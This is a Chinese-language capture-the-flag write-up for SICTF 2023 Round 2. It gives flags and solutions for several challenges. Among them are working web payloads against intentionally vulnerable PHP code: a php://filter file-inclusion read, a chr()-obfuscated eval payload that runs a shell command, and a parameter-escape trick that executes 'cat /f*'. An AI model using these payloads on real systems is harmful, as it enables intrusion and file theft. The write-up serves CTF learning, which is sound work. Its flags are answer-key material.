MISC

[签到]Welcome

SICTF{Welcome_to_SICTF2023_#Round2}

PWN

[签到]Shop

你听说过在C语言中的int型数据吗？
看描述怀疑整数溢出，选择序号那块没得溢出，买直接flag，肯定买-1个，溢出成功

flag：SICTF{b4d12fd3-d433-4427-a1db-d4c4ab950604}

WEB

[签到]Include

flag位于flag.php，是一个非常简单的文件包含捏~
文件包含，懂了
第一个页面：

点击查看代码

<?php
  error_reporting(0);
if (isset($_GET['SICTF'])) {
  if ( substr($_GET["SICTF"], 0, 3) === "php" ) {
    echo "你好厉害呀~~~";
    include($_GET["SICTF"]);
  } 

  else {
    echo "你干嘛~~~";
  }
}else {
  highlight_file(__FILE__);
}

利用伪协议传参：?SICTF=php://filter/read=convert.base64-encode/resource=flag.php
得到base64代码：PD9waHAKJGZpbGVfcGF0aCA9ICIvZmxhZyI7CmlmIChmaWxlX2V4aXN0cygkZmlsZV9wYXRoKSkgewogICAgJGZsYWcgPSBmaWxlX2dldF9jb250ZW50cygkZmlsZV9wYXRoKTsKfQplbHNlewogICAgZWNobyAiZXJyb3IiOwp9Cg==
然后解密，得到flag地址：

再次伪协议包含、解密

得到flag：SICTF{878e3335-1186-4f52-a2bf-afc1b8c730fd}

Baby_php

%20绕过下划线，%0a绕过比较，通过缓冲区拼接字符串然后执行命令
get传参
?k%20e%20y=123%0a
POST传参
command=ob_start();print(chr(115));print(chr(121));print(chr(115));print(chr(116));print(chr(101));print(chr(109));print(chr(40));print(chr(39));print(chr(99));print(chr(97));print(chr(116));print(chr(32));print(chr(47));print(chr(42));print(chr(39));print(chr(41));print(chr(59));eval(ob_get_clean());

flag：SICTF{7f729485-2304-4b66-b13a-c7e2cfff7ab5}

RCE

请bypass我！

点击查看代码

<?php
  error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
$code = str_replace("(","hacker",$code);
$code = str_replace(".","hacker",$code);
eval($code);
?>

直接参数逃逸code=echo $_POST[1];&1=cat /f*

flag：SICTF{0fcbc9ba-1553-4d7b-9472-a565e79d4c43}

RE

[签到]PYC

本次比赛禁止py交易！
下载得到pyc文件，理论上pyc文件可以直接执行，但是我执行报错，反编译一下

点击查看代码

# uncompyle6 version 3.8.0
# Python bytecode 3.8.0 (3413)
# Decompiled from: Python 3.7.0 (default, Nov 25 2022, 11:07:23) 
# [GCC 4.8.5 20150623 (Red Hat 4.8.5-44)]
# Embedded file name: index.py
# Compiled at: 2023-08-28 13:22:44
# Size of source mod 2**32: 52 bytes
print('SICTF{07e278e7-9d66-4d90-88fc-8bd61e490616}')
# okay decompiling /tmp/64facd1c7cdc5.pyc

flag：SICTF{07e278e7-9d66-4d90-88fc-8bd61e490616}